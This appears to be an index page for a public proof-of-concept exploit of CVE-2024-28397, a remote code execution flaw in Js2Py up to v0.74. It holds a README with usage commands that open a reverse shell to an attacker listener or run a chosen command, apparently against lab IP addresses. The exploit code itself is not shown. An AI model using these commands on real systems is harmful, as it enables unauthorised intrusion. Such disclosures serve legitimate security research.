CVE-2024-28397 PoC — Js2Py 安全漏洞

Source

Associated Vulnerability

Readme

# CVE-2024-28397 RCE Script

Default reverse shell payload and optional command argument allowed

exploit works for js2py <= v0.74

## Requirements

- Python 3.x  
- `requests` library (`pip install requests`)  
- Netcat listener (for reverse shell)

## Example usage

Reverse shell:

```bash
python exploit.py 10.129.227.108 /run_code --local_ip 10.10.14.71 --local_port 4444
```
Custom command:

```bash
python exploit.py 10.129.227.108 /run_code --cmd "id"
```

File Snapshot

 [4.0K]  /data/pocs/c79036aa100d8f5e404d1836e6465c88fca38b63
├── [2.1K]  CVE-2024-28397-RCE.py
└── [ 464]  README.md

0 directories, 2 files

Remarks